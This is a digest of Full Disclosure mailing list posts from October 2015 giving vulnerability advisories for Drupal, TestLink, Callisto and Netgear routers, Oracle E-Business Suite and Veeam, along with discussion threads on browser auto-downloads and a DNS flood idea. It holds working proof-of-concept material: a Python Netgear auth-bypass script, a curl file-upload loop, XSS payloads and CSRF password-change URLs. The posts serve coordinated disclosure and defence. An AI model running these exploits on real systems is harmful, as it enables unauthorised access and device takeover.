[FD] Drupal 8.0.0-beta14 Vendor Script Vulnerable to XSS

2015-10-08 Thread Sandeep Kamble 
*Overview*

Recently, I was playing around with the Drupal CMS application code. Drupal
is an open source CMS application widely used for blog posting purpose,
Further details, to know more about Drupal
here . Open source application
advantage being, the source code was at my disposal.

While fiddling around with the core Drupal Vendor Package I stumbled upon a
very interesting vulnerability of XSS. Now the idea was to see how exactly
an attacker can exploit this particular XSS to impact Drupal users at large.
So let me walk you through the technical process of discovery and impact
assessment for the Drupal source code audit which lead to the discovery of
XSS which can be used to hijack drupal accounts or to perform other
malicious activity by an attacker.

Post submission about the vulnerability details to Drupal, they added file
.htaccess protection (so-called-fix) which has been added to the vendor’s
directory that enables denying access to the following location,

Location of vulnerable file is :
\core\vendor\behat\mink\driver-testsuite\web-fixtures\issue130.php

The above file contains a PHP Super GLOBAL variable :
*$_SERVER[‘HTTP_REFERER’]* which fails to sanitize requested data, which is
specifically vulnerable to reflected cross site scripting attack.

*Reporting Date : *29th Aug, 2015 via BugCrowd


*Vulnerability Details: *

The source code audit started with the use of grep command.Initially, I was
more inclined towards finding specific set of keywords like $_GET, $_POST,
$_COOKIE, or $_REQUEST as well as other user provided inputs that can also
be operated with $_FILES, $_SERVER one by one.

So, after a number of unsuccessful attempts of GREP command, finally grep
-i -r “\$_SERVER” command did the thing for me!!

[image: drupalServer]


*Figure 1 :  grep command execution:Random output from the above code *

Here, we can see a number of results from our simple grep command
execution. Lets try for some more combinations to get a precise result as
compared to our earlier result.

Bingo!! here appears some interesting stuff, when I started digging deeper
into the pages to look for an un-sanitized data inputs from users. After a
while a specially crafted command, produced the desired valid result.

grep -i -r “\$_SERVER” * | grep “$_GET” | grep “echo” and here something is
fishy!!!.

[image: DrupalEcho]



*Figure 2 :  Finally,found some suspicious files which may be vulnerable. *

Giving my search a different angle I started looking for the following:
/core/vendor/behat/mink/driver-testsuite/web-fixtures/issue130.php and
guess what, we stumbled upon the following code.




Go to 2’;
} else {
echo ‘’.$_SERVER[‘HTTP_REFERER’].'’;
}
?>




[image: DrupalCat]



*Figure 3 :  At first glance this might look like a simple XSS to you. *

However, a closer look reveals the true nature of the beast!!

So, lets prepare a POC which will reveal the true nature of the beast ;).We
only had to send a referer header to the issue130.php with a XSS payload,
as shown in the following image.

[image: 7] 

*Figure 4 :  sending XSS payload using referer HTTP header *

Once this referer header is sent via the URL :
http://google.comalert(1)
then it will pop out an alert JS code execution. In the below image you can
see successful execution of the JS code.

[image: 6] 


*Figure 5 : Successful execution of the Javascript code *

*Conclusion*

Official Drupal update regarding the patch for this vulnerability seems
unsatisfactory, since they have decided to use “.htaccess” as patch, which
is not a proper mechanism to patch away this XSS, no filter or encoders
have been used.However,several other mechanisms can be used for successful
filtering & encoding such as HtmlEncode, HtmlAttributeEncode,
JavaScriptEncode etc.
reference link:
https://msdn.microsoft.com/en-us/library/hh567599%28v=cs.95%29.aspx

https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

​Reference :
http://blog.securelayer7.net/core-drupal-8-0-0-beta14-xss-attack/​

--
​Sandeep S. Kamble
SecureLayer7
http://securelayer7.net​

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] CSRF vulnerabilities in Callisto 821+R3 ADSL Router

2015-10-08 Thread MustLive 

Hello list!

After all my advisories about vulnerabilities in Callisto 821+ 
(http://seclists.org/fulldisclosure/2011/Aug/1) and recent advisory about 
Callisto 821+R3, here is new one. Because vendor ignored in 2011 all my 
letters and subsequent my public disclosure of vulnerabilities and new 
devices are vulnerable as well, so I disclosed vulnerabilities in Callisto 
821+R3 ADSL Router.


These are Cross-Site Request Forgery vulnerabilities. The whole control 
panel is vulnerable to CSRF, here are two vulnerabilities.


SecurityVulns ID: 11700.

-
Affected products:
-

Vulnerable is the next model: Callisto 821+R3, Firmware Version: ZXDSL 
831IIV7.5.1a_E09_UA. This model with other firmware and also other models of 
Callisto also must be vulnerable.


--
Details:
--

Cross-Site Request Forgery (WASC-09):

For changing login and password of admin:

http://site/adminpasswd.cgi?action=save=admin=E696D64616

For changing login and password of user:

http://site/userpasswd.cgi?action=save=user=27563757

Parameters sysPassword and usrPassword contain encrypted password. The 
cipher is simple - this is hex values of chars in reverse order.


I mentioned about these vulnerabilities at my site 
(http://websecurity.com.ua/7975/).


Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 



___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] TestLink Security Advisory - Multiple XSS Vulnerabilities - CVE-2015-7391

2015-10-08 Thread Onur Yilmaz 
Information

Advisory by Netsparker.
Name: Multiple XSS Vulnerabilities in TestLink 1.9.13
Affected Software : TestLink
Affected Versions: 1.9.1.3 and possibly below
Vendor Homepage : http://testlink.org/
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
CVE-ID : CVE-2015-7391
Netsparker Advisory Reference : NS-15-016

Description

By exploiting a Cross-site scripting vulnerability the attacker can
hijack a logged in user’s session. This means that the malicious
hacker can change the logged in user’s password and invalidate the
session of the victim while the hacker maintains access. As seen from
the XSS example in this article, if a web application is vulnerable to
cross-site scripting and the administrator’s session is hijacked, the
malicious hacker exploiting the vulnerability will have full admin
privileges on that web application.

Technical Details

Proof of Concept URLs for XSS in TestLink 1.9.13:

/testlink-code-1.9.13/lib/results/tcCreatedPerUserOnTestProject.php
Parameter Name  selected_end_date
Parameter Type  POST
Attack Pattern  '"-->alert(0x008360)

/testlink-code-1.9.13/lib/results/tcCreatedPerUserOnTestProject.php
Parameter Name  selected_start_date
Parameter Type  POST
Attack Pattern  '"-->alert(0x007F5A)

/testlink-code-1.9.13/lib/testcases/containerEdit.php
Parameter Name  containerType
Parameter Type  POST
Attack Pattern  '"-->alert(0x0053E8)

/testlink-code-1.9.13/lib/testcases/listTestCases.php?feature=edit_tc
Parameter Name  filter_tc_id
Parameter Type  POST
Attack Pattern  ">

/testlink-code-1.9.13/lib/testcases/listTestCases.php?feature=edit_tc
Parameter Name  filter_testcase_name
Parameter Type  POST
Attack Pattern  '"-->alert(0x0050D4)

/testlink-code-1.9.13/lib/testcases/tcImport.php?containerID=2=1='"-->alert(0x004898)
Parameter Name  useRecursion
Parameter Type  GET
Attack Pattern  '"-->alert(0x004898)

/testlink-code-1.9.13/lib/testcases/tcSearch.php
Parameter Name  targetTestCase
Parameter Type  POST
Attack Pattern  ">

/testlink-code-1.9.13/lib/testcases/tcSearch.php
Parameter Name  created_by
Parameter Type  POST
Attack Pattern  ">alert(9)

/testlink-code-1.9.13/third_party/user_contribution/fakeRemoteExecServer/client4fakeXMLRPCTestRunner.php
Parameter Name  Referer
Parameter Type  HTTP Header
Attack Pattern  '"-->alert(0x00FF1E)

For more information on cross-site scripting vulnerabilities read the
following article:
https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/cross-site-scripting-xss/

Advisory Timeline

15/09/2015 - First Contact
02/10/2015 - Vendor Fixed
05/10/2015 - Advisory Released

Solution

https://github.com/TestLinkOpenSourceTRMS/testlink-code/releases/tag/1.9.14

Credits & Authors

These issues have been discovered by Omar Kurt while testing
Netsparker Web Application Security Scanner
(https://www.netsparker.com).

About Netsparker

Netsparker web application security scanners find and report security
flaws and vulnerabilities such as SQL Injection and Cross-site
Scripting (XSS) in all websites and web applications, regardless of
the platform and technology they are built on. Netsparker scanning
engine’s unique detection and exploitation techniques allow it to be
dead accurate in reporting vulnerabilities, hence it does not report
any false positives. The Netsparker web application security scanner
is available in two editions; Netsparker Desktop and Netsparker Cloud.
Visit our website https://www.netsparker.com for more information.

-- 
Onur Yılmaz - National General Manager

Netsparker Web Application Security Scanner
T: +90 (0)554 873 0482

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] Watch your Downloads: the risk of the "auto-download" feature on Microsoft Edge and Google Chrome

2015-10-08 Thread Stefan Kanthak 
Lee "cant afford a surname"  wrote:

> Haifei Li, changing the default behavior to open a window asking the
> user where to save the file would change nothing.  A "normal user"
> would just click the "save" button to save the file in the default
> folder.  I also don't think it should be the browser's responsibility
> to look for potential malicious DLLs in that directory.  This "normal
> user" may not even use the browser to execute this executable file so
> they never even see this warning.

Correct so far.

> If you really want to pursue this problem, I think the OS (MS Windows)
> is where you should be looking for a solution.

No, the OS is NOT the problem here.
The problem are the morons who build *.EXE to install software (or just
unpack some files) and hand these *.EXE to unsuspecting and unskilled
users, expecting them to actually EXECUTE them.
This really nasty behaviour of almost all developers/companies out
there trained users to execute almost anything they get their hands on.

The solution for this is simple:

* package your software in the platforms native format.
  For Windows this is *.MSI for applications, *.INF/*.CAB for drivers.
  Other (older) OS have *.pkg, their newer variants *.deb, *.rpm, *.apk,
  *.dmg, ...

* distribute your files in the platforms native format.
  For Windows this is *.CAB. Other OS's have their own, and most of
  them understand *.ZIP.

> MS Windows has an "Open File - Security Warning" window before
> executing untrusted files.

Please define "untrusted file".
Windows resp. some applications (Internet Explorer, Outlook *, Windows
Live Mail, ...) add a "zone identifier" (as NTFS alternate data stream)
to files downloaded from the internet resp. untrusted locations.

> Again, a "normal user" just clicks "Run" on that window without reading
> the warning, but this could be expanded to also warn about potential
> malicious DLLs.  Example Image: http://i.imgur.com/3dxQJCB.png

SAFER a.k.a. software restriction policies exist for more than 14 years
now and can prevent normal users from running executable files.
Cf.  or http://home.arcor.de/skanthak/SAFER.html

> As long as a "normal user" is given enough privileges to
> destroy/infect/... their OS, they will continue to be careless.

Normal user have enough privileges to destroy/infect their OWN files.
This is worse than just loosing the OS: the latter can be reinstalled.

> You will never be able to protect these people from themselves.

But you can help protect themselves from accidential (or unwanted)
execution of files.

stay tuned
Stefan

> On Fri, Oct 2, 2015 at 6:43 PM, Haifei Li  
> wrote:
>>
>>
>>
>>
>>
>>
>> This is a copied version of my blog post, original version
http://justhaifei1.blogspot.com/2015/10/watch-your-downloads-risk-of-auto.html.Probably
 it's commonly known that when you try to
download something on your modern browser e.g. Google Chrome or Microsoft Edge, 
the file will be downloaded automatically to your
local system with just a simple clicking - no need for additional 
confirmations. With default settings, the file will be downloaded
to your "Downloads" folder ("C:\Users\\Downloads").
>> Personally, I have worried about this feature quite some times, now I 
>> finally got some time on highlighting this. (Please tell me
if there's someone already talked about this, I quickly googled around and 
wasn't able to find an appropriate one, I think it should
be known by many ppl).
>>
>> The "auto-download" feature is good from "user experience" perspective, but 
>> obviously it's not good for security, as the
downloading could also be started by Javascript (). The 
attacker may just place a malicious DLL with a specific
name into the "Downloads" folder when the victim visits a webpage he/she 
controls. In future, when the victim tries to
download/install good programs (executables) from legitimate websites - of 
course, the good executable will be downloaded, and will
be launched from the "Downloads" folder as well - then the 
installation/execution progress could be hijacked.
>>
>> This is because that in the real world, most executables replying dlls. 
>> Anyway, the "application directory" is the very first
place in the search order when searching/loading for a dll (yoy may want to 
check this paper I released years ago). So, probably,
most of dlls even the system dlls could be hijacked when you place a same-named 
dll in the executable's directory, and that's not
for the situation that the searching dll is not in anywhere of your system.
>>
>> Usually, the "Downloads" folder is a place with massive downloaded files, so 
>> the victim probably never get a change to realize
there is a malicious DLL sitting in his/her "Downloads" folder. I'd also doubt 
that even a normal user notices a strange dll in
his/her "Downloads" folder, does he/she will really delete it immediately? DLLs 
won't be executed by themselves

[FD] Authentication Bypass in Netgear Router Firmware N300_1.1.0.31_1.0.1.img and N300-1.1.0.28_1.0.1.img

2015-10-08 Thread Alexandre Herzog 
#
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#
#
# Product:  Netgear Router Firmware N300_1.1.0.31_1.0.1.img
#   and N300-1.1.0.28_1.0.1.img
# Vendor:   NETGEAR
# CVE ID:   requested
# Subject:  Authentication Bypass
# Risk: High
# Effect:   Remotely exploitable over LAN/WLAN
# Author:   Daniel Haake (daniel.ha...@csnc.de)
# Date: 06.10.2015
#
#


Introduction:
-
Multiple NETGEAR wireless routers are out of the box vulnerable
to an authentication bypass attack. No router options has to
be changed to exploit the issue. So an attacker can access the
administration
interface of the router without submitting any valid username and
password, just by requesting a special URL several times.


Affected:
-
- Router Firmware: N300_1.1.0.31_1.0.1.img
- Router Firmware; N300-1.1.0.28_1.0.1.img
- tested and confirmed on the WNR1000v4 Router with both firmwares
- other products may also be vulnerable because the firmware is used in
multiple devices


Technical Description:
--
The attacker can exploit the issue by using a browser or writing a simple
exploit.
1. When a user wants to access the web interface, a http basic
authentication login process is initiated
2. If he does not know the username and password he gets redirected to the
401_access_denied.htm file
3. An attacker now has to call the URL
http:///BRS_netgear_success.html multiple times
-> After that if he can access the administration web interface and there is
no username/password prompt


Example Python script:
--
import os
import urllib2
import time
import sys

try:
first = urllib2.urlopen("http://; + sys.argv[1])
print "No password protection!"
except:
print "Password protection detected!"
print "Executing exploit..."
for i in range(0,3):
time.sleep(1)
urllib2.urlopen("http://; + sys.argv[1] +
"/BRS_netgear_success.html")

second = urllib2.urlopen("http://; + sys.argv[1])
if second.getcode() == 200:
print "Bypass successfull. Now use your browser to have a
look at the admin interface."


Workaround/Fix:
---
None so far. A patch already fixing this vulnerability was developed by
Netgear but not released so far
(see timeline below).


Timeline:
-
Vendor Status: works on patch-release
21.07.2015: Vendor notified per email (secur...@netgear.com)
-> No response
23.07.2015: Vendor notified via official chat support
24.07.2015: Support redirected notification to the technical team
29.07.2015: Requested status update and asked if they need further
assistance
-> No response
21.08.2015: Notified vendor that we will go full disclosure within 90 days
if they do not react
03.09.2015: Support again said that they will redirect it to the technical
team
03.09.2015: Netgear sent some beta firmware version to look if the
vulnerability is fixed
03.09.2015: Confirmed to Netgear that the problem is solved in this version
Asked Netgear when they plan to release the firmware with this
security fix
11.09.2015: Response from Netgear saying they will not disclose the patch
release day
15.09.2015: Asked Netgear again when they plan to publish the security fix
for the second time
-> No response
29.09.2015: Full disclosure of this vulnerability by SHELLSHOCK LABS
06.10.2015: Forced public release of this advisory to follow up on [2]


References:
---
[1] http://support.netgear.com/product/WNR1000v4
[2]
http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.ht
ml


smime.p7s
Description: S/MIME cryptographic signature

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] CVE-2015-2652 – Unauthenticated File Upload in Oracle E-business Suite.

2015-10-08 Thread Sandeep Kamble 
*Introduction*

*Oracle E*–*Business Suite* is a fully integrated, comprehensive suite of
business applications for the enterprise. Following purposes most of
organization uses Oracle E-business.

   1. Customer Relationship Management
   2. Financial Management
   3. Human Capital Management
   4. Project Portfolio Management
   5. Advanced Procurement
   6. Supply Chain Management
   7. Service Management

*Vulnerable Version*

Oracle E-Business Suite, version(s) 11.5.10.2, 12.0.6, 12.1.1, 12.1.2,
12.1.3, 12.2.3, 12.2.4

*Brief About bug *

The unauthenticated upload vulnerability resides in Oracle Marketing
component.  If you search in Google for Oracle E-business, you will find
more than 30K unique search results.

The file is uploaded into a table in the E-Business Suite database schema.
The attacker,however, can use it to fill up the existing table space.
Upload functionality allows the attacker to upload any arbitrary file
types(All executables) and also allows to execute the uploaded code.
​

*POC Raw code for feeding files files to server to :*

for ($x=1; $x < 100; $x++):
curl -i -s -k  -X 'POST' \
-H 'Origin: http://Oracle-Application:Port' -H 'User-Agent:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/43.0.2357.65 Safari/537.36' -H 'Content-Type:
multipart/form-data; boundary=WebKitFormBoundarywS9xiTn7rP23Fori'
-H 'Referer: http://Oracle-Application:Port/OA_HTML/amsImageSelect.jsp'
\
-b 'JSESSIONID=6e66b3f234234234272c18909d2bca0c96bf7c.kdsnfksjdfn34rk32;
PROD_pses=PROD%3DHcqumhXKzuUX0xNEIjoeFKu8hZ%7E;
PROD=HcqumhXKzuUX0xNEIjoeFKu8hZ; oracle.uix=0^^GMT+4:00^p' \
--data-binary
$'--WebKitFormBoundarywS9xiTn7rP23Fori\x0d\x0aContent-Disposition:
form-data; 
name=\"type\"\x0d\x0a\x0d\x0aF\x0d\x0a--WebKitFormBoundarywS9xiTn7rP23Fori\x0d\x0aContent-Disposition:
form-data; name=\"FileInput\";
filename=\"Check.txt\"\x0d\x0aContent-Type:
text/plain\x0d\x0a\x0d\x0a\x0d\x0a--WebKitFormBoundarywS9xiTn7rP23Fori\x0d\x0aContent-Disposition:
form-data; 
name=\"fileId\"\x0d\x0a\x0d\x0anull\x0d\x0a--WebKitFormBoundarywS9xiTn7rP23Fori\x0d\x0aContent-Disposition:
form-data; 
name=\"url\"\x0d\x0a\x0d\x0a\x0d\x0a--WebKitFormBoundarywS9xiTn7rP23Fori--\x0d\x0a'
\

'http://Oracle-Application:Port//OA_HTML/amsImageUpload.jsp?dummy=1=6_22646%2C22646%2C-1%2C0%2C===ZG01DFBB7BC079CDE282F4716CF2E5B140454CA599F18AD7A2CAD711D30D5FB60DF18438A1D10EB7BD7CF1370CF9D979BDA7=ddrqZePQ82zVbJrUIG7jrw..=null=null'
end for;

​

*Vulnerability Information *

By using the following URLs the attacker can use it to upload files on the
server.

http://ORACLE-WebServer:Port/OA_HTML/amsImageSelect.jsp
http://ORACLE-WebServer:Port/OA_HTML/amsImageUpload.jsp

*Timeline*


May 7, 2015 :  Identification of the vulnerability
May 8, 2015 :  Reported to the Oracle Security Team

May 12, 2015: Confirmed Upload Vulnerability in Oracle E-business
May 22, 2015 :Upload Vulnerability Patched
May 22, 2015 : CPU Scheduled for Critical Update
July 13, 2015 : CVE Allocated CVE-2015-2652
July 14, 2015 : Critical Update Pushed
July 15, 2015 : Vulnerability Made Public

*Mitigation*

Update Oracle E-business Suit to latest version.

Oracle vulnerability reference and vulnerability credit: Oracle Critical
Patch Update Advisory – July 2015

​
Reference :
http://blog.securelayer7.net/cve-2015-2652-unauthenticated-file-upload-in-oracle-e-business-suite/​


-- 
​Sandeep
http://securelayer7.net​

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] DDos Attack To Drop The Internet

2015-10-08 Thread James Hodgkinson 
Given enough bandwidth and a unique idea, anything is possible, it is
true. 

You provided a 2MB text list of DNS servers, approximately 200,000 of
them. They sit across most of the v4 IP ranges available (and some IPV6
ones). This means upstream links won't likely be saturated, and
filtering can likely be done on the server based on heuristics.

If you're going to ask for 100% random non-existent domains you're easy
to beat - if( failed_request() > 99% ) { drop_packet() }. If you're
going to ask for TLDs that exist, they're already cached by anyone
running a half-decent server, and they're going to send you elsewhere.
You might cause issues for individual downstream ranges as people get
heavy-handed with filtering, but you've included google's servers in
there and I'm guessing the roots are there too. They're anycast and
backed by some crazy bandwidth.

Of course it might work once, for a short time, but you've just told
some spectacular engineers out there to think about this problem, and
they've definitely already considered it ;) 

James

On Tue, 6 Oct 2015, at 01:39, Jeffrey Roberts wrote:
> If you were to have a botnet which were to flood random DNS queries
> for domains that did not exist to the list of DNS servers hosted on
> http://public-dns.tk/nameservers-all.txt then the root dns servers and
> the tld dns servers would be overwhelmed without any way to filter the
> packets, if they were to filter the packets of the DNS servers, they
> themselves would be turning off DNS, hence they can not do that... If
> the botnet only hits the DNS servers on the list a few times,
> filtering those packets would be insignificant. This attack should in
> essence turn off DNS for the world, hence, turning off the internet as
> the public knows it today.
> 
> -- 
> - Jeff
> 
> ___
> Sent through the Full Disclosure mailing list
> https://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: http://seclists.org/fulldisclosure/

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] Authentication Bypass in Netgear Router Firmware N300_1.1.0.31_1.0.1.img and N300-1.1.0.28_1.0.1.img

2015-10-08 Thread Alexandre Herzog 
Hi Joe,

 

Thanks for your feedback. Daniel, who discovered the issue and liaised with 
Netgear to get the issue patched, is in CC of this email.

 

Would you mind to share some further details? This may help putting pressure on 
Netgear to release the patch they actually developed beginning of September (!) 
but did not yet publish…

 

Thanks,

Alexandre

 

 

From: Joe G [mailto:joseph.giro...@gmail.com] 
Sent: Dienstag, 6. Oktober 2015 19:02
To: Alexandre Herzog
Cc: bugt...@securityfocus.com; fulldisclosure@seclists.org
Subject: Re: Authentication Bypass in Netgear Router Firmware 
N300_1.1.0.31_1.0.1.img and N300-1.1.0.28_1.0.1.img

 

I can confirm that this is actively being exploited in the wild as we speak. I 
got owned last week.

 

On Tue, Oct 6, 2015 at 7:59 AM, Alexandre Herzog  
wrote:

#
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#
#
# Product:  Netgear Router Firmware N300_1.1.0.31_1.0.1.img
#   and N300-1.1.0.28_1.0.1.img
# Vendor:   NETGEAR
# CVE ID:   requested
# Subject:  Authentication Bypass
# Risk: High
# Effect:   Remotely exploitable over LAN/WLAN
# Author:   Daniel Haake (daniel.ha...@csnc.de)
# Date: 06.10.2015
#
#


Introduction:
-
Multiple NETGEAR wireless routers are out of the box vulnerable
to an authentication bypass attack. No router options has to
be changed to exploit the issue. So an attacker can access the
administration
interface of the router without submitting any valid username and
password, just by requesting a special URL several times.


Affected:
-
- Router Firmware: N300_1.1.0.31_1.0.1.img
- Router Firmware; N300-1.1.0.28_1.0.1.img
- tested and confirmed on the WNR1000v4 Router with both firmwares
- other products may also be vulnerable because the firmware is used in
multiple devices


Technical Description:
--
The attacker can exploit the issue by using a browser or writing a simple
exploit.
1. When a user wants to access the web interface, a http basic
authentication login process is initiated
2. If he does not know the username and password he gets redirected to the
401_access_denied.htm file
3. An attacker now has to call the URL
  
http:///BRS_netgear_success.html multiple times
-> After that if he can access the administration web interface and there is
no username/password prompt


Example Python script:
--
import os
import urllib2
import time
import sys

try:
first = urllib2.urlopen("http://; + sys.argv[1])
print "No password protection!"
except:
print "Password protection detected!"
print "Executing exploit..."
for i in range(0,3):
time.sleep(1)
urllib2.urlopen("http://; + sys.argv[1] +
"/BRS_netgear_success.html")

second = urllib2.urlopen("http://; + sys.argv[1])
if second.getcode() == 200:
print "Bypass successfull. Now use your browser to have a
look at the admin interface."


Workaround/Fix:
---
None so far. A patch already fixing this vulnerability was developed by
Netgear but not released so far
(see timeline below).


Timeline:
-
Vendor Status: works on patch-release
21.07.2015: Vendor notified per email (secur...@netgear.com)
-> No response
23.07.2015: Vendor notified via official chat support
24.07.2015: Support redirected notification to the technical team
29.07.2015: Requested status update and asked if they need further
assistance
-> No response
21.08.2015: Notified vendor that we will go full disclosure within 90 days
if they do not react
03.09.2015: Support again said that they will redirect it to the technical
team
03.09.2015: Netgear sent some beta firmware version to look if the
vulnerability is fixed
03.09.2015: Confirmed to Netgear that the problem is solved in this version
Asked Netgear when they plan to release the firmware with this
security fix
11.09.2015: Response from Netgear saying they will not disclose the patch
release day
15.09.2015: Asked Netgear again when they plan to publish the security fix
for the second time
-> No response
29.09.2015: Full disclosure of this vulnerability by SHELLSHOCK LABS
06.10.2015: Forced public release of this advisory to follow up on [2]


References:
---
[1] http://support.netgear.com/product/WNR1000v4
[2]
http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.ht 

 
ml

 



smime.p7s
Description: S/MIME cryptographic signature

___
Sent through the Full

[FD] Veeam Backup & Replication Local Privilege Escalation Vulnerability

2015-10-08 Thread ascii 
ndows group "Everyone" so any local user, even
  the ones used to map IIS sites, can access them.

  This pose all the information contained in the logfiles at risk and
  is a violation of the principle of least privilege.

  https://en.wikipedia.org/wiki/Principle_of_least_privilege

B) Double encoded password in Logfiles

  The install/execution username and password is stored double-base64
  encoded in Veeam Backup "VeeamVixProxy" logfiles.

  Such files exists in "Veeam\Backup" with a name scheme as follows:

  VeeamVixProxy_%dd%mm%.log

  eg: VeeamVixProxy_16072015.log

  The password is present in multiple points of the log-file and the
  files are generated contentiously.

  In this scenario, a Local File Read vulnerability could lead to full
  system compromise given the fact that an attacker can re-use such
  credentials by RDP or RPC (eg: psexec).

  The log format leaking the credentials is:

 Blob Data: 

  eg: 01/07/2015 1.33.42 3936 Blob Data:
  IwoAAABWAGUAZQBhAG0AVQBzAGUAcgAQVQAyAFYAagBjAG0AVgAwAA

  The "" of interest has the following format:

  echo 'IwoAAABWAGUAZQBhAG0AVQBzAGUAcgAQVQAyAFYAagBjAG0AVgAwAA'\
  | base64 -d | hexdump -C
    23 00 00 00 0a 00 00 00  56 00 65 00 65 00 61 00
|#...V.e.e.a.|
  0010  6d 00 55 00 73 00 65 00  72 00 10 00 00 00 55 00
|m.U.s.e.r.U.|
  0020  32 00 56 00 6a 00 63 00  6d 00 56 00 30 00
|2.V.j.c.m.V.0.  |

  First byte is \x23 (#), followed by a NULL and a newline (\x0a),
  followed by a NULL. Next bytes specify the username, followed by
  a DLE (data link escape) and a NULL. Everything in the first base64
  container is in UTF16.

  echo -n "isgroup" | iconv -t UTF-16LE | hexdump -C

  What follows is the most interesting part, a base64 representation of
  the password.

  echo -en "U2VjcmV0" | base64 -d
  Secret

  Since the VeeamVixProxy files are continuously written the leak will
  occur even if administrators delete them. An official fix from Veeam
  is needed in order to fully resolve the vulnerability.

  This vulnerability is especially dangerous when the "VeeamAdmin"
  (or whenever you called it) is also a Domain Administration user.

IV. WORKAROUND

Update: on 8 October 2015 Veeam B 8.0 Update 3 has been released and
the vendor states it fixes the vulnerability. You are strongly advised
to update to the latest version. We did not investigate but will update
you on ush.it if needed.

Follow this steps to mitigate the issue meanwhile an official patch
is released:

If you are on Windows 2003 environment fix the permission on
"%alluserprofile%\Application Data\Veeam\Backup" path so that only
"Administrators" group can read it.

If you are on Windows 2008 environment fix the permission on
"%programdata%\Veeam\Backup\" so that only "Administrators" group can
read it.

Create a scheduled task to delete this logfiles from disk.

VI. VENDOR RESPONSE

Vendor released Update 3 of Veeam B 8.0 that contains the proper
security patch. At the time of this writing an official patch is
currently available.

VII. CVE INFORMATION

Mitre assigned the CVE-2015-5742 for this vulnerability, internally to
Veeam it's referred as Case #00984117.

VIII. DISCLOSURE TIMELINE

20150723 Bug discovered
20150724 Vulnerability disclosed to ISGroup's Partners
20150805 Request for CVE to Mitre
20150805 Got CVE-2015-5742 from cve-assign (fast!)
20150806 Details disclosure to Support/Denis Bodnar and CVE
20150806 Escalation to Fred Bozhanov (fast!) will fix in Veeam B v8
20150818 Veeam closes the ticket
20150923 ISGroup asks for updates, no release date from vendor
20150923 We extend the disclosure date as 30 Sept will not be met
20151008 Veeam releases Update 3 for Version 8.0
20151008 Advisory disclosed to the public

IX. REFERENCES

[1] Top 10 2013-A6-Sensitive Data Exposure
https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure

[2] Access Control Cheat Sheet
https://www.owasp.org/index.php/Access_Control_Cheat_Sheet

[3] http://forums.veeam.com/veeam-backup-replication-f2/veeamvix
proxy-log-t20579.html
User reporting 5.5 GB of VeeamVixProxy_date.log files

[4] http://forums.veeam.com/veeam-backup-replication-f2/feature-req
uest-t28404.html
User reporting 7 GB of VeeamVixProxy logs on 7.0.0.839

[4] http://www.veeam.com/kb1825
How to Change the settings related to Veeam Backup &
Replication Log Files

[5] http://www.veeam.com/kb1789
How to locate and collect VSS/VIX log files from Guest OS

Want to access this document in HTML?

http://www.ush.it/2015/10/08/veeam-backup-replication-6-7-8-local-privilege-escalation-vulnerability/

X. CREDIT

Pasquale "sid" Fiorillo, Francesco "ascii" Ongaro and Antonio "s4tan"
Parata are credited with the discovery of this vulnerability.

Pasquale "sid" Fiorillo
web site: http://www.ush.it/
mail: sid